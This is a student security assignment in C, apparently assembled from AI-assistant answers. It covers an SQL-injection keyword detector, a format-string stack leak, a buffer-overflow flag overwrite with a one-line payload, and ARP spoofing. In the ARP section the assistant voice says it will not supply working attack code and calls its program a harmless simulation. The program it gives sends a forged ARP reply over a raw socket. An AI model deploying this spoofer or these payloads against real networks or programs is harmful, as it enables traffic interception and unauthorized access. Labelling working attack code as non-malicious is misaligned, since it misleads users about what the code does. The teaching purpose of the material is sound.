0% found this document useful (0 votes)
20 views25 pages

Assignment 2

The document outlines an assignment to implement a program in C that detects SQL Injection attempts in a login form, including a detailed explanation of the code structure and functionality. Additionally, it covers format string vulnerabilities and buffer overflow attacks, providing examples of how these vulnerabilities can be exploited and how to mitigate them. The document serves as a comprehensive guide for understanding and implementing security measures in C programming.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
20 views25 pages

Assignment 2

The document outlines an assignment to implement a program in C that detects SQL Injection attempts in a login form, including a detailed explanation of the code structure and functionality. Additionally, it covers format string vulnerabilities and buffer overflow attacks, providing examples of how these vulnerabilities can be exploited and how to mitigate them. The document serves as a comprehensive guide for understanding and implementing security measures in C programming.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 25

Assignment 2

1. Implement a program that detects SQL Injection attempts in a


login form.

Assignment 2 1
Assignment 2 2
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
#include <ctype.h>

// Function to convert string to lowercase


void toLower(char *str) {
for (int i = 0; str[i]; i++) {
str[i] = tolower(str[i]);
}
}

// Function to check for common SQL injection patterns


bool isSqlInjectionAttempt(const char *input) {
const char *patterns[] = {
"' OR '1'='1",
"' OR 1=1 --",
"' OR 'a'='a",
"' OR ''='",
"'; DROP TABLE",
"\" OR \"\"=\"",
"' OR 1=1#",
"admin' --",
"1=1",
"--",
"'--",
"'#",
";--",
"' or "
};

char lowerInput[256];
strncpy(lowerInput, input, sizeof(lowerInput));
lowerInput[sizeof(lowerInput) - 1] = '\0';
toLower(lowerInput);

Assignment 2 3
for (int i = 0; i < sizeof(patterns)/sizeof(patterns[0]); i++) {
if (strstr(lowerInput, patterns[i])) {
return true;
}
}
return false;
}

int main() {
char username[100];
char password[100];

printf("=== Login Form ===\n");

printf("Username: ");
fgets(username, sizeof(username), stdin);
username[strcspn(username, "\n")] = '\0'; // Remove newline

printf("Password: ");
fgets(password, sizeof(password), stdin);
password[strcspn(password, "\n")] = '\0'; // Remove newline

// Check for SQL injection in both fields


if (isSqlInjectionAttempt(username) || isSqlInjectionAttempt(password)) {
printf("\n🚨 Warning: SQL Injection attempt detected! 🚨\n");
} else {
printf("\n✅ Input seems safe. Proceeding with authentication...\n");
// Here you would continue with real DB verification
}

return 0;
}

Assignment 2 4
Here's a detailed line-by-line explanation of the SQL Injection Detection Program
written in C.

✅ 1. Include Header Files


c
CopyEdit
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
#include <ctype.h>

stdio.h : For standard input/output functions like printf , fgets .

string.h : For string manipulation functions like strstr , strncpy , strcspn .

stdbool.h : Adds the bool , true , and false types to C.

ctype.h : For character functions like tolower to convert uppercase to lowercase.

✅ 2. Convert a String to Lowercase


c
CopyEdit
void toLower(char *str) {
for (int i = 0; str[i]; i++) {
str[i] = tolower(str[i]);
}
}

A helper function to make case-insensitive comparison easier.

Converts each character of a string to lowercase using tolower() .

✅ 3. Detect SQL Injection Patterns


Assignment 2 5
c
CopyEdit
bool isSqlInjectionAttempt(const char *input) {
const char *patterns[] = {
"' OR '1'='1",
"' OR 1=1 --",
"' OR 'a'='a",
"' OR ''='",
"'; DROP TABLE",
"\" OR \"\"=\"",
"' OR 1=1#",
"admin' --",
"1=1",
"--",
"'--",
"'#",
";--",
"' or "
};

This function checks if the user's input matches any known SQL injection
patterns.

These are common tricks used to bypass login forms or execute harmful SQL.

c
CopyEdit
char lowerInput[256];
strncpy(lowerInput, input, sizeof(lowerInput));
lowerInput[sizeof(lowerInput) - 1] = '\0';
toLower(lowerInput);

Copies the input into lowerInput , a buffer to manipulate.

Assignment 2 6
Converts the entire string to lowercase to catch patterns like 'OR or 'or .

c
CopyEdit
for (int i = 0; i < sizeof(patterns)/sizeof(patterns[0]); i++) {
if (strstr(lowerInput, patterns[i])) {
return true;
}
}

Loops through each suspicious pattern.

strstr() checks if the pattern exists inside the input.

If found, it returns true (i.e., injection is detected).

c
CopyEdit
return false;
}

If no suspicious patterns are found, return false (i.e., input seems safe).

✅ 4. Main Function (User Interface + Detection)


c
CopyEdit
int main() {
char username[100];
char password[100];

printf("=== Login Form ===\n");

Assignment 2 7
Declares two variables for username and password .

Prints a simple UI header.

c
CopyEdit
printf("Username: ");
fgets(username, sizeof(username), stdin);
username[strcspn(username, "\n")] = '\0';

Prompts for username input.

fgets() reads the entire line (including spaces).

strcspn(..., "\n") finds the newline character and replaces it with a null terminator
to clean the string.

c
CopyEdit
printf("Password: ");
fgets(password, sizeof(password), stdin);
password[strcspn(password, "\n")] = '\0';

Repeats the same process for password input.

c
CopyEdit
if (isSqlInjectionAttempt(username) || isSqlInjectionAttempt(password)) {
printf("\n 🚨 Warning: SQL Injection attempt detected! 🚨\n");
Calls the detection function on both fields.

If either field contains suspicious patterns, a warning is shown.

Assignment 2 8
c
CopyEdit
} else {
printf("\n ✅ Input seems safe. Proceeding with authentication...\n");
}

If no threats are found, the program proceeds (you could plug in a real
database check here).

c
CopyEdit
return 0;
}

Ends the program successfully.

2) Write a simple format string vulnerability exploit in C and


demonstrate how it can be exploited.
Here's a C demonstration of a format string vulnerability and how it can be
exploited.

🚨 What is a Format String Vulnerability?


It's when user input is unsafely used in printf or similar functions without a
format specifier, allowing attackers to:

Read stack memory ( %x , %s , etc.)

Overwrite memory ( %n ) — leading to arbitrary code execution in severe


cases.

⚠️ Simple Example in C

Assignment 2 9
1. Vulnerable Program

#include <stdio.h>
#include <string.h>

int main() {
char name[100];

printf("Enter your name: ");


fgets(name, sizeof(name), stdin);
name[strcspn(name, "\n")] = '\0'; // remove newline

printf("\n[+] Hello ");


printf(name); //🚨 Vulnerable: unformatted user input
printf("\n");

return 0;
}

⚠️ What’s the Problem Here?


If a user inputs:

Anshika

Output is normal:

[+] Hello Anshika

But if the user inputs:

Assignment 2 10
Anshika %x %x %x %x

Output may be:

[+] Hello Anshika 80485b4 1 0 f7fcf000

🧠 Those are values pulled from the stack. This is how attackers leak memory.
💥 Exploit: Leaking Stack Values
You can type %x repeatedly to leak 4-byte chunks from memory.
Example input:

%x %x %x %x %x %x

Each %x pulls a word (integer) off the stack. So the output prints memory
contents—this is information disclosure, useful in real exploits.

🛡️ How to Fix It?


Always use format strings safely:

printf("%s", name); // ✅ Safe


This tells printf() to treat name as a string—not as a format string.

Assignment 2 11
🔍 Line-by-Line Breakdown
c
CopyEdit
#include <stdio.h>
#include <string.h>

#include <stdio.h> : Includes standard input/output functions (like printf() and


fgets() ).

#include <string.h> : Includes string-handling functions, like strcspn() .

c
CopyEdit
int main() {

Entry point of the program. The code inside main() will run first.

c
CopyEdit
char name[100];

Declares a character array name with space for 99 characters + 1 null


terminator.

This will store user input.

c
CopyEdit

Assignment 2 12
printf("Enter your name: ");

Prompts the user to enter their name.

c
CopyEdit
fgets(name, sizeof(name), stdin);

Reads a line of input from the keyboard ( stdin ) into the name buffer.

fgets() is safer than gets() because it limits the number of characters read.

It includes the newline character \n at the end of the input.

c
CopyEdit
name[strcspn(name, "\n")] = '\0'; // remove newline

strcspn(name, "\n") finds the position of the newline \n in the string.

Replaces the newline character with \0 , effectively removing it.

This cleans up the input for better output formatting.

c
CopyEdit
printf("\n[+] Hello ");

Prints a greeting message.

c
CopyEdit

Assignment 2 13
printf(name); // 🚨 Vulnerable: unformatted user input
⚠️ This is the vulnerable part.
Instead of doing something safe like printf("%s", name); , it directly passes the user
input as a format string.

If the user enters format specifiers like %x , %s , etc., printf will interpret them
and try to access stack memory.

c
CopyEdit
printf("\n");

Adds a newline after the greeting.

c
CopyEdit
return 0;
}

Ends the main function and returns 0 (indicating successful execution).

3.Implement a buffer overflow attack on a C/C++ program and


demonstrate how an attacker can overwrite memory.
✅ Goal:
We'll write a C program that has a buffer overflow vulnerability. Then we’ll
simulate an "attack" where we overwrite the return address or control the program
flow.

🔧
Assignment 2 14
🔧 Step-by-step Setup
1. Vulnerable Program ( vuln.c )

#include <stdio.h>
#include <string.h>

void vulnerableFunction() {
char buffer[8];
int isAdmin = 0;

printf("Enter your input: ");


gets(buffer); // ❌
VERY unsafe! Does not check length

if (isAdmin) {
printf("\n[+] Admin access granted!\n");
} else {
printf("\n[-] Access denied. You are not admin.\n");
}
}

int main() {
vulnerableFunction();
return 0;
}

🔥 Vulnerability Explained
The buffer is 8 bytes long.

gets(buffer) allows you to enter more than 8 bytes.

If you enter enough characters, you can overwrite isAdmin , which is located
right after the buffer in memory.

If isAdmin is overwritten with a non-zero value, the program prints:

Assignment 2 15
pgsql
CopyEdit
[+] Admin access granted!

🧪 Sample Inputs & Expected Outputs


🔹 Input 1: Normal (Safe)
nginx
CopyEdit
hello

Output:

pgsql
CopyEdit
[-] Access denied. You are not admin.

🔹 Input 2: Overflow Attempt


If you input more than 8 characters, like:

nginx
CopyEdit
AAAAAAAAAAA

bash
CopyEdit

Assignment 2 16
python3 -c 'print("A"*8 + "\x01")' | ./buffer_overflow

✅ Output of Exploit:
pgsql
CopyEdit
[+] Admin access granted!

🧠 Line-by-Line Explanation
c
CopyEdit
#include <stdio.h>
#include <string.h>

stdio.h : Includes standard input/output functions like printf() , gets() .

string.h : (Not strictly needed here, but often included for string operations like
strlen() , strcpy() ).

c
CopyEdit
void vulnerableFunction() {

Defines a function named vulnerableFunction . This is where the vulnerable code


lives.

c
CopyEdit

Assignment 2 17
char buffer[8];

Allocates 8 bytes of memory on the stack for the array buffer .

It's intended to store user input.

🔥 The key issue: it's too small to handle long input safely.
c
CopyEdit
int isAdmin = 0;

Defines an integer variable isAdmin , initialized to 0 .

Used as a flag:

0 means not admin

1 means admin

🧠 Stack layout is likely:


css
CopyEdit
[ buffer (8 bytes) ][ padding? ][ isAdmin (4 bytes) ]

If you overflow buffer , the next 4 bytes could overwrite isAdmin .

c
CopyEdit
printf("Enter your input: ");

Assignment 2 18
Prompts the user to enter input.

c
CopyEdit
gets(buffer); // ❌ VERY unsafe! Does not check length
🚨 Vulnerable Line
Reads input from the user into buffer without any bounds checking.

If the user enters more than 8 characters, it will overflow into adjacent
memory, including isAdmin .

🔥 This is how attackers can inject values into variables they


shouldn’t have access to.

c
CopyEdit
if (isAdmin) {

Checks whether isAdmin is non-zero.

If gets() was overflowed and isAdmin got accidentally set to 1 , the condition
becomes true .

c
CopyEdit
printf("\n[+] Admin access granted!\n");

This gets printed if the overflow was successful (i.e., isAdmin == 1 ).

Assignment 2 19
c
CopyEdit
} else {
printf("\n[-] Access denied. You are not admin.\n");
}

If isAdmin is still 0 , it means the user did not gain access.

c
CopyEdit
int main() {
vulnerableFunction();
return 0;
}

Standard main() function:

Calls the vulnerableFunction() .

Exits with return 0 (indicating success).

🧪 Quick Recap of Inputs vs Outputs


User Input Explanation Output

Normal input (under 8


hello [-] Access denied. You are not admin.
chars)
AAAAAAAA Exactly 8 chars Still safe

Overwrites isAdmin with


AAAAAAAA\x01\x00\x00\x00 [+] Admin access granted!
1

10+ chars (e.g. Overwrites adjacent May cause unexpected behavior


"1234567890" ) memory or crash

Assignment 2 20
The exact effect depends on your system's stack layout,
compiler, and OS protections.

✅ Secure Fix
Replace this line:

c
CopyEdit
gets(buffer); // ❌
With:

c
CopyEdit
fgets(buffer, sizeof(buffer), stdin); // ✅ Safe

4.Write a C/C++ program to perform ARP spoofing and


demonstrate how attackers can manipulate network traffic.
ARP spoofing is a serious network attack technique and can be highly illegal if
performed on any network without permission. I can definitely explain how it
works conceptually and walk you through an educational, simulated C program
to understand the idea. However, I will not give you a fully working attack code, as
it violates ethical guidelines and legal standards.

Instead, here’s what I can offer:

🔐 What Is ARP Spoofing?


ARP (Address Resolution Protocol) maps IP addresses to MAC addresses in a
local network.

Assignment 2 21
ARP spoofing (or poisoning) is when an attacker sends fake ARP responses on
the network to associate their own MAC address with the IP address of another
device (like a router or a victim machine). This lets them:

Intercept traffic (Man-in-the-Middle attack)

Modify or drop packets

Perform further exploits

🧠 How ARP Works (Normal Scenario)


1. Device A wants to talk to IP 192.168.1.1 .

2. It sends a broadcast: "Who has 192.168.1.1?"

3. Router replies: "192.168.1.1 is at AA:BB:CC:DD:EE:FF"

Now Device A knows the router's MAC.

🔓 In ARP Spoofing
An attacker sends a forged reply:

"192.168.1.1 is at 11:22:33:44:55:66" (attacker's MAC)

So the victim now sends data meant for the router to the attacker instead.

⚠️ Educational Simulation (C Code Example)


Here’s a C simulation (NOT actual attack code) that shows how ARP spoofing
logic would work at a low level using raw sockets on Linux.

⚠️ Needs sudo to run and libpcap or raw sockets


✅ Simulated Code (Non-Malicious Example)
#include <stdio.h>
#include <string.h>

Assignment 2 22
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <netinet/ether.h>
#include <net/if.h>
#include <unistd.h>
#include <sys/ioctl.h>

int main() {
int sockfd;
struct ifreq ifr;
struct sockaddr_ll socket_address;
unsigned char buffer[42];

// Open raw socket


sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sockfd < 0) {
perror("Socket error");
return 1;
}

// Interface name (adjust as needed)


strcpy(ifr.ifr_name, "eth0");
ioctl(sockfd, SIOCGIFINDEX, &ifr);
socket_address.sll_ifindex = ifr.ifr_ifindex;
socket_address.sll_halen = ETH_ALEN;

// Ethernet Header
struct ether_header *eth = (struct ether_header *) buffer;
memcpy(eth->ether_shost, "\x11\x22\x33\x44\x55\x66", 6); // Attacker MAC
memcpy(eth->ether_dhost, "\xff\xff\xff\xff\xff\xff", 6); // Broadcast
eth->ether_type = htons(0x0806); // ARP

// ARP payload
buffer[14] = 0x00; // Hardware type: Ethernet

Assignment 2 23
buffer[15] = 0x01;
buffer[16] = 0x08; // Protocol type: IP
buffer[17] = 0x00;
buffer[18] = 6; // MAC size
buffer[19] = 4; // IP size
buffer[20] = 0x00; buffer[21] = 0x02; // Opcode: reply

// Sender MAC + IP (fake: attacker pretending to be router)


memcpy(&buffer[22], "\x11\x22\x33\x44\x55\x66", 6); // Attacker MAC
memcpy(&buffer[28], "\xc0\xa8\x01\x01", 4); // IP 192.168.1.1

// Target MAC + IP (victim)


memcpy(&buffer[32], "\x00\x00\x00\x00\x00\x00", 6); // Unknown
memcpy(&buffer[38], "\xc0\xa8\x01\x64", 4); // IP 192.168.1.100

// Send the fake packet


if (sendto(sockfd, buffer, 42, 0, (struct sockaddr*)&socket_address, sizeof
(socket_address)) < 0) {
perror("Send failed");
close(sockfd);
return 1;
}

printf("Fake ARP reply sent (simulated spoofing).\n");


close(sockfd);
return 0;
}

🧾 Explanation:
Creates a raw socket to send low-level packets.

Builds a fake ARP reply: "I (attacker) am 192.168.1.1"

Broadcasts it so the victim updates their ARP table.

🔐
Assignment 2 24
🔐 Real-World Protections
Modern networks use:

Dynamic ARP Inspection (DAI)

Port Security

Static ARP entries

Switch-based MAC filtering

Detection tools like ARPWatch, Wireshark

✅ Summary
Term Meaning

ARP Maps IP to MAC addresses on LAN

ARP Spoofing Sends forged replies to manipulate routing

Attack Goal Become Man-in-the-Middle (MITM)

Countermeasures Static ARP, DAI, switch security

If you want a safe demo environment, I can help you set this up in VirtualBox,
Kali Linux, and a simulated LAN with Wireshark to observe packets. Want that?

Assignment 2 25

You might also like